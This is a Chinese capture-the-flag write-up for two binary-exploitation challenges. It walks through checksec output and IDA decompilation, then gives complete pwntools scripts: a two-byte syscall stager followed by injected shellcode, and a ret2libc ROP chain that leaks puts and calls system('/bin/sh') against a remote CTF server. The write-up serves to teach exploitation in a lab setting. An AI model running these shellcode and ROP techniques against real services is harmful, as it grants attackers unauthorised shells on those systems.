shellcode_level1
Hint:两字节怎么写系统调用
点击下载: shellcode_level1
Checksec 查看保护
$ chmod +x shellcode_level1 $ checksec shellcode_level1 Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled SHSTK: Enabled IBT: Enabled Stripped: No
|
发现elf开启了pie保护,并且开启了canary保护,这使得使用栈溢出漏洞进行攻击变得难以执行。但是,根据题目提示,本题实质上还是要写入shellcode,但是具体往哪里写呢?又怎么写入呢?
还是利用ida进行反编译,观察一下程序的逻辑。
int __fastcall main(int argc, const char **argv, const char **envp){ void *buf;
buf = mmap(0LL, 0x1000uLL, 7, 34, -1, 0LL); if ( buf == (void *)-1LL ){ perror("mmap failed"); return 1; } else{ read(0, buf, 2uLL); ((void (__fastcall *)(_QWORD, void *, __int64))buf)(0LL, buf, 1280LL); if ( munmap(buf, 0x1000uLL) == -1 ){ perror("munmap failed"); return 1; } else{ return 0; } } }
|
ida里我们发现,buf变量是一段可读可写可执行的内存空间,并且,如果mmap函数开辟空间正确,首先会向buf里读入两个字节,然后会把buf空间里的内容当作函数,进行执行。那么我们自然可以想到,如果我们向buf里写入shellcode,那shellcode就会被执行,我们就可以成功获取shell。但是因为程序开启了pie保护,所以我们直接找到buf的地址向buf里写入shellcode的思路显然是不可行的,那具体怎么写入呢?
通过检查汇编代码,可以发现,在read(0,buf,2ull)之后,有向寄存器赋值的汇编代码,并且会调用rcx寄存器里的内容的操作,那我们就自然可以想到,向rcx寄存器里写入一个函数,且该函数的功能可以实现向buf里读取内容的操作。所以我们可以向rcx寄存器里写入syscall,那么syscall第一个参数是rax寄存器里的值0,所以此时看似调用的是syscall,实则调用的是read函数,并且,rax里是0,rsi的值是buf,rdx的值是500h,也就是调用read(0,buf,0x500)。
.text:000000000000122A loc_122A: ; CODE XREF: main+49↑j .text:000000000000122A mov rax, [rbp+buf] .text:000000000000122E mov edx, 2 ; nbytes .text:0000000000001233 mov rsi, rax ; buf .text:0000000000001236 mov edi, 0 ; fd .text:000000000000123B call _read .text:0000000000001240 mov rsi, [rbp+buf] .text:0000000000001244 mov rcx, rsi .text:0000000000001247 mov rdx, 500h .text:000000000000124E mov rax, 0 .text:0000000000001255 call rcx .text:0000000000001257 mov rax, [rbp+buf] .text:000000000000125B mov esi, 1000h ; len .text:0000000000001260 mov rdi, rax ; addr .text:0000000000001263 call _munmap .text:0000000000001268 cmp eax, 0FFFFFFFFh .text:000000000000126B jnz short loc_1283 .text:000000000000126D lea rax, aMunmapFailed ; "munmap failed" .text:0000000000001274 mov rdi, rax ; s .text:0000000000001277 call _perror .text:000000000000127C mov eax, 1 .text:0000000000001281 jmp short loc_1288
|
from pwn import *
context.arch = 'amd64'
p = remote('gz.imxbt.cn',20160) p.send(asm('syscall')) payload = b'aa'+asm(shellcraft.sh())
p.sendline(payload) p.interactive()
|
她与你皆失
Hint:这下好了,什么都没了,你满意了?
点击下载: pwn
checksec:
$ chmod +x pwn $ checksec pwn Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) SHSTK: Enabled IBT: Enabled Stripped: No
|
ida查看:
int __fastcall main(int argc, const char **argv, const char **envp) { _BYTE buf[10];
init(argc, argv, envp); puts("I have nothing, what should I do?"); read(0, buf, 0x100u); return 0; }
|
明显栈溢出,ret2libc:
$ ROPgadget --binary ./pwn | grep "ret" 0x0000000000401176 : pop rdi ; ret 0x000000000040101a : ret
|
from pwn import * context(arch = 'amd64',os = 'linux',log_level = 'debug') io = process('./pwn') elf = ELF('./pwn') libc = ELF("/lib/x86_64-linux-gnu/libc.so.6") main_addr = elf.symbols['main'] puts_plt = elf.plt['puts'] puts_got = elf.got['puts']
pop_rdi_ret = 0x401176 ret = 0x40101a
io.recv() payload = cyclic(0xA+8) + p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr) io.send(payload) puts = u64(io.recv(6).ljust(8,b'\x00')) print(hex(puts)) libc_base = puts - libc.sym["puts"] system = libc_base + libc.sym["system"] binsh = libc_base + next(libc.search(b"/bin/sh")) payload = cyclic(0xA+8) + p64(ret) + p64(pop_rdi_ret) + p64(binsh) + p64(system) + p64(0) io.sendline(payload) io.interactive()
|
from pwn import * from LibcSearcher import LibcSearcher context(arch='amd64', os='linux', log_level='debug') io = remote('gz.imxbt.cn', 20634) elf = ELF('./pwn') offset = 18 pop_rdi_ret = 0x401176 ret = 0x40101a main_addr = elf.sym['main'] puts_plt = elf.plt['puts'] puts_got = elf.got['puts']
io.recv() leak_payload = flat( b'A' * offset, p64(pop_rdi_ret), p64(puts_got), p64(puts_plt), p64(main_addr) ) io.send(leak_payload) io.recvline() puts_addr = u64(io.recv(6).ljust(8, b'\x00')) log.success(f"泄露的puts地址: {hex(puts_addr)}") libc_search = LibcSearcher('puts', puts_addr) libc_base = puts_addr - libc_search.dump('puts') log.success(f"libc基址: {hex(libc_base)}") system_addr = libc_base + libc_search.dump('system') binsh_addr = libc_base + libc_search.dump('str_bin_sh') log.success(f"system地址: {hex(system_addr)}") log.success(f"/bin/sh地址: {hex(binsh_addr)}") io.recvuntil(b'I have nothing, what should I do?\n') shell_payload = flat( b'A' * offset, p64(ret), p64(pop_rdi_ret), p64(binsh_addr), p64(system_addr), p64(main_addr) ) io.send(shell_payload) io.interactive()
|